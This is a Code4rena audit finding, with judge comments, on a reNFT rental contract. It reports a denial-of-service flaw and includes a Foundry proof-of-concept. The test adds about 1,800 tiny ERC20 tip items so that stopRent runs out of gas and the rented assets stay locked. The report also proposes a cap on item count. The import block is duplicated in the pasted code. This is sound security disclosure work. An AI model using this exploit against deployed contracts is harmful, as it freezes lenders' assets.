All orders can be hijacked to lock rental assets forever by tipping a huge amount of small ERC20 tips

[c4-bot-3]

Lines of code

https://github.com/re-nft/smart-contracts/blob/97e5753e5398da65d3d26735e9d6439c757720f5/src/policies/Stop.sol#L300

Vulnerability details

Impact

Rental assets locked in the wallet.

Impact would be High as in H-01), but assessed as Medium due to "leak value with a hypothetical attack path with stated assumptions, but external requirements". Given the condition that rentals should be able to be created, and revert on rentals with Out of Gas, which can be possible on certain scenarios (like onStop() hooks, callbacks on token transfer). And if not reverting, it is possible for an adversary to make it really gas expensive to end the rental order (which will also make it more difficult to end the rental on times gas fees are up).

Vulnerability Details

The attack idea is the same as H-01, with the same impact.

The difference is that the former attacks involves a malicious ERC20 token, while in this case it exploits an Out of Gas error.

The Create policy doesn't validate the amount of items a rental can have. This allows an adversary to fulfill any existing order, adding a huge amount of consideration items as tips (each one with a value of as low as 1 ERC20 token). They can tip whitelisted ERC20 tokens, so that makes it unrelated to the former attack.

Then when the rental ends, if the victim lender tries to stop the rental, and settle payments, the transaction will iterate over all ERC20 settlements (including the tips), and will run Out of Gas given the many iterations and processing.

Proof of Concept

• Create a test/integration/Tipping.t.sol file
• Run forge test --mt "test_TippingManyERC20"

import {
    Order,
    OrderParameters,
    ConsiderationItem,
    ItemType,
    FulfillmentComponent,
    Fulfillment,
    OfferItem,
    ItemType as SeaportItemType
} from "@seaport-types/lib/ConsiderationStructs.sol";
import {MockRevertOnTransferERC20} from "@test/mocks/tokens/weird/MockRevertOnTransferERC20.sol";

// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;

import {
    Order,
    FulfillmentComponent,
    Fulfillment,
    ItemType as SeaportItemType
} from "@seaport-types/lib/ConsiderationStructs.sol";

import {Errors} from "@src/libraries/Errors.sol";
import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStructs.sol";

import {BaseTest} from "@test/BaseTest.sol";
import {ProtocolAccount} from "@test/utils/Types.sol";

import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";
import {Safe} from "@safe-contracts/Safe.sol";

import {SafeL2} from "@safe-contracts/SafeL2.sol";
import {PaymentEscrow} from "@src/modules/PaymentEscrow.sol";

contract TestRent is BaseTest {
    function test_TippingManyERC20() public {
        // create a BASE order
        createOrder({
            offerer: alice,
            orderType: OrderType.BASE,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the order creation
        (
            Order memory order,
            bytes32 orderHash,
            OrderMetadata memory metadata
        ) = finalizeOrder();

        // create an order fulfillment
        createOrderFulfillment({
            _fulfiller: bob,
            order: order,
            orderHash: orderHash,
            metadata: metadata
        });

        // ------- Identical to existing "test_Success_Rent_BaseOrder_ERC721" until here -------
        
        erc20s[0].mint(bob.addr, 10_000);

        // Add a big amount of 1-token consideration items as tipping
        OrderParameters storage params = ordersToFulfill[0].advancedOrder.parameters;
        for (uint i = 0; i < 1800; i++) {
            params.consideration.push(ConsiderationItem({
                itemType: ItemType.ERC20,
                token: address(erc20s[0]),
                identifierOrCriteria: 0,
                startAmount: 1,
                endAmount: 1,
                recipient: payable(address(seaportRecipient))
            }));
        }

        // finalize the base order fulfillment
        RentalOrder memory rentalOrder = finalizeBaseOrderFulfillment();

        // speed up in time past the rental expiration
        vm.warp(block.timestamp + 750);

        // rental cannot be stopped since the transaction will revert with Out of Gas
        vm.expectRevert();
        vm.prank(bob.addr);
        stop.stopRent{gas: 30_000_000}(rentalOrder);
    }
}

Recommended Mitigation Steps

Validate that the items count when creating a rental is limited to a reasonable number:

    Item[] memory items = _convertToItems(
        seaportPayload.offer,
        seaportPayload.consideration,
        payload.metadata.orderType
    );

+   if (items.length > MAX_ITEMS_LENGTH) {
+      revert Errors.CreatePolicy_TooManyItems(); 
+   }

Assessed type

DoS

[c4-judge]

gzeon-c4 marked the issue as duplicate of #28

[c4-judge]

gzeon-c4 marked the issue as satisfactory

[c4-judge]

gzeon-c4 changed the severity to 3 (High Risk)